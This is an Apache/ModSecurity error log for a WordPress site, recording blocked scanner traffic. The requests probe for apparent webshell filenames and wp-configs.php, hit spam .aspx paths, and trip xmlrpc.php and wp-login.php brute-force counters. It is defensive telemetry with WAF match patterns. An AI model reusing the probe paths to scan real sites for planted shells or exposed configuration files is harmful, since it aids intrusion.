[Mon Apr 06 18:57:58.261910 2026] [:error] [pid 35688:tid 35773] [client 74.248.150.154:48984] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "adORtuZ85qg4jLsRpQx3pAAAAJc"]
[Mon Apr 06 18:58:02.671761 2026] [:error] [pid 38562:tid 38575] [client 74.248.150.154:39904] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media.php"] [unique_id "adORuqeD6Ohe6wzRuy5p_gAAAUo"]
[Mon Apr 06 18:58:16.413651 2026] [:error] [pid 35687:tid 35726] [client 74.248.150.154:59878] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "adORyJ3LtDozV0i8BitcewAAAEM"]
[Mon Apr 06 18:58:47.101315 2026] [:error] [pid 10280:tid 10307] [client 74.248.150.154:41952] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "adOR518QUJkf8g-BFfPQEwAAAdg"]
[Mon Apr 06 18:59:18.254416 2026] [:error] [pid 38562:tid 38575] [client 74.248.150.154:38063] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOSBqeD6Ohe6wzRuy5qWQAAAUo"]
[Mon Apr 06 18:59:21.509927 2026] [:error] [pid 38562:tid 38578] [client 74.248.150.154:36935] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOSCaeD6Ohe6wzRuy5qXQAAAU0"]
[Mon Apr 06 18:59:24.341516 2026] [:error] [pid 38562:tid 38575] [client 74.248.150.154:48497] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOSDKeD6Ohe6wzRuy5qaAAAAUo"]
[Mon Apr 06 18:59:33.477372 2026] [:error] [pid 35688:tid 35752] [client 74.248.150.154:5645] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "adOSFeZ85qg4jLsRpQx4igAAAII"]
[Mon Apr 06 18:59:39.754566 2026] [:error] [pid 9442:tid 9451] [client 74.248.150.154:59371] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOSG0PsNnAJTnmz6saJFQAAAQc"]
[Mon Apr 06 18:59:45.767503 2026] [:error] [pid 9442:tid 9454] [client 74.248.150.154:5504] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOSIUPsNnAJTnmz6saJJQAAAQo"]
[Mon Apr 06 18:59:48.480548 2026] [:error] [pid 35686:tid 35696] [client 74.248.150.154:36298] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "adOSJMMKdea6oORd2fzFbQAAAAA"]
[Mon Apr 06 19:00:01.263833 2026] [:error] [pid 9442:tid 9447] [client 74.248.150.154:54945] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "adOSMUPsNnAJTnmz6saJRgAAAQM"]
[Mon Apr 06 19:00:13.954980 2026] [:error] [pid 35687:tid 35736] [client 74.248.150.154:58984] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "adOSPZ3LtDozV0i8BitcuwAAAE0"]
[Mon Apr 06 19:00:15.779652 2026] [:error] [pid 9442:tid 9447] [client 74.248.150.154:44203] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "adOSP0PsNnAJTnmz6saJXgAAAQM"]
[Mon Apr 06 19:00:22.815289 2026] [autoindex:error] [pid 10280:tid 10283] [client 74.248.150.154:42588] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 19:00:25.995441 2026] [autoindex:error] [pid 10280:tid 10306] [client 74.248.150.154:42588] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 06 19:00:39.632407 2026] [:error] [pid 10280:tid 10299] [client 74.248.150.154:42588] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "adOSV18QUJkf8g-BFfPQhgAAAdA"]
[Mon Apr 06 19:00:48.868922 2026] [:error] [pid 35786:tid 35814] [client 74.248.150.154:6064] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "adOSYGgkfCKTaLhwaKQS6gAAANU"]
[Mon Apr 06 19:00:54.858396 2026] [:error] [pid 35687:tid 35737] [client 74.248.150.154:57532] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "adOSZp3LtDozV0i8Bitc0wAAAE4"]
[Mon Apr 06 19:00:56.915461 2026] [:error] [pid 10280:tid 10296] [client 74.248.150.154:5333] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOSaF8QUJkf8g-BFfPQoAAAAc0"]
[Mon Apr 06 19:01:00.253897 2026] [:error] [pid 38562:tid 38578] [client 74.248.150.154:40582] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOSbKeD6Ohe6wzRuy5qqwAAAU0"]
[Mon Apr 06 19:01:04.577627 2026] [:error] [pid 38562:tid 38586] [client 74.248.150.154:48948] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOScKeD6Ohe6wzRuy5qtQAAAVU"]
[Mon Apr 06 19:01:10.259341 2026] [:error] [pid 9442:tid 9445] [client 74.248.150.154:50101] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "adOSdkPsNnAJTnmz6saJ4wAAAQE"]
[Mon Apr 06 19:01:18.825972 2026] [:error] [pid 10280:tid 10296] [client 74.248.150.154:49501] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "adOSfl8QUJkf8g-BFfPQqAAAAc0"]
[Mon Apr 06 19:01:30.359985 2026] [:error] [pid 9442:tid 9447] [client 74.248.150.154:63234] [client 74.248.150.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lol.php"] [unique_id "adOSikPsNnAJTnmz6saKDgAAAQM"]
[Mon Apr 06 19:17:25.139215 2026] [:error] [pid 38562:tid 38584] [client 51.68.34.57:59818] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adOWRaeD6Ohe6wzRuy5u1AAAAVM"]
[Mon Apr 06 19:17:27.017873 2026] [:error] [pid 35686:tid 35702] [client 51.68.34.57:46512] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adOWR8MKdea6oORd2fzIBQAAAAY"]
[Mon Apr 06 19:17:28.947188 2026] [:error] [pid 35688:tid 35755] [client 51.68.34.57:46514] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adOWSOZ85qg4jLsRpQyCPQAAAIU"]
[Mon Apr 06 19:17:30.815939 2026] [:error] [pid 10280:tid 10290] [client 51.68.34.57:46530] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adOWSl8QUJkf8g-BFfPXfQAAAcc"]
[Mon Apr 06 19:17:32.829032 2026] [:error] [pid 35786:tid 35816] [client 51.68.34.57:51904] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adOWTGgkfCKTaLhwaKQUmQAAANc"]
[Mon Apr 06 19:17:34.863484 2026] [:error] [pid 35688:tid 35760] [client 51.68.34.57:51916] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adOWTuZ85qg4jLsRpQyCUwAAAIo"]
[Mon Apr 06 19:17:36.857969 2026] [:error] [pid 1827:tid 1829] [client 51.68.34.57:51920] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adOWUOVeb6S_DnjZ2xH-xAAAAgA"]
[Mon Apr 06 19:17:38.737766 2026] [:error] [pid 38562:tid 38566] [client 51.68.34.57:51926] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adOWUqeD6Ohe6wzRuy5u7gAAAUE"]
[Mon Apr 06 19:17:40.627173 2026] [:error] [pid 10280:tid 10291] [client 51.68.34.57:51930] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adOWVF8QUJkf8g-BFfPXjQAAAcg"]
[Mon Apr 06 19:17:42.519250 2026] [:error] [pid 9442:tid 9463] [client 51.68.34.57:53880] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adOWVkPsNnAJTnmz6saVGwAAARM"]
[Mon Apr 06 19:17:44.583209 2026] [:error] [pid 1827:tid 1844] [client 51.68.34.57:53896] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "adOWWOVeb6S_DnjZ2xH-0QAAAg8"]
[Mon Apr 06 19:17:46.591033 2026] [:error] [pid 9442:tid 9447] [client 51.68.34.57:53912] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "adOWWkPsNnAJTnmz6saVLAAAAQM"]
[Mon Apr 06 19:17:48.642363 2026] [:error] [pid 1827:tid 1832] [client 51.68.34.57:53922] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "adOWXOVeb6S_DnjZ2xH-2QAAAgM"]
[Mon Apr 06 19:17:50.581142 2026] [:error] [pid 10280:tid 10288] [client 51.68.34.57:53930] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "adOWXl8QUJkf8g-BFfPXnAAAAcU"]
[Mon Apr 06 19:17:52.593842 2026] [:error] [pid 9442:tid 9452] [client 51.68.34.57:43158] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "adOWYEPsNnAJTnmz6saVSQAAAQg"]
[Mon Apr 06 19:41:51.251350 2026] [:error] [pid 35688:tid 35759] [client 43.135.211.148:48142] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adOb_-Z85qg4jLsRpQyWPgAAAIk"]
[Mon Apr 06 19:59:19.658556 2026] [:error] [pid 35688:tid 35761] [client 54.36.60.82:40098] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adOgF-Z85qg4jLsRpQyjdwAAAIs"]
[Mon Apr 06 19:59:21.580719 2026] [:error] [pid 38562:tid 38573] [client 54.36.60.82:53724] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adOgGaeD6Ohe6wzRuy6BVwAAAUg"]
[Mon Apr 06 19:59:23.557863 2026] [:error] [pid 35688:tid 35755] [client 54.36.60.82:53734] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adOgG-Z85qg4jLsRpQyjgwAAAIU"]
[Mon Apr 06 19:59:25.525928 2026] [:error] [pid 10280:tid 10288] [client 54.36.60.82:50760] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adOgHV8QUJkf8g-BFfPx7AAAAcU"]
[Mon Apr 06 19:59:27.468765 2026] [:error] [pid 38562:tid 38570] [client 54.36.60.82:50768] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adOgH6eD6Ohe6wzRuy6BYgAAAUU"]
[Mon Apr 06 19:59:29.305644 2026] [:error] [pid 38562:tid 38573] [client 54.36.60.82:50774] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adOgIaeD6Ohe6wzRuy6BZQAAAUg"]
[Mon Apr 06 19:59:31.070414 2026] [:error] [pid 9442:tid 9457] [client 54.36.60.82:50782] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adOgI0PsNnAJTnmz6sbEDgAAAQ0"]
[Mon Apr 06 19:59:32.984966 2026] [:error] [pid 9442:tid 9451] [client 54.36.60.82:50790] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adOgJEPsNnAJTnmz6sbEGAAAAQc"]
[Mon Apr 06 19:59:34.897678 2026] [:error] [pid 9442:tid 9457] [client 54.36.60.82:34972] [client 54.36.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adOgJkPsNnAJTnmz6sbEKgAAAQ0"]
[Mon Apr 06 20:46:02.778610 2026] [:error] [pid 10280:tid 10303] [client 87.202.172.83:38266] [client 87.202.172.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.202.172.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adOrCl8QUJkf8g-BFfMHDAAAAdQ"]
[Mon Apr 06 23:18:56.393792 2026] [:error] [pid 38562:tid 38577] [client 122.51.236.174:39840] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adPO4KeD6Ohe6wzRuy6-sgAAAUw"]
[Mon Apr 06 23:32:50.763840 2026] [:error] [pid 9413:tid 9439] [client 43.130.9.111:42958] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adPSInllvEK3chn01wHfKwAAAZg"]
[Mon Apr 06 23:50:30.621782 2026] [:error] [pid 35688:tid 35751] [client 104.244.79.40:33126] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adPWRuZ85qg4jLsRpQweHQAAAIE"]
[Mon Apr 06 23:50:36.862216 2026] [:error] [pid 35688:tid 35754] [client 104.244.79.40:33126] [client 104.244.79.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.244.79.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adPWTOZ85qg4jLsRpQweLQAAAIQ"], referer: https://gigfragments.org/wp-login.php
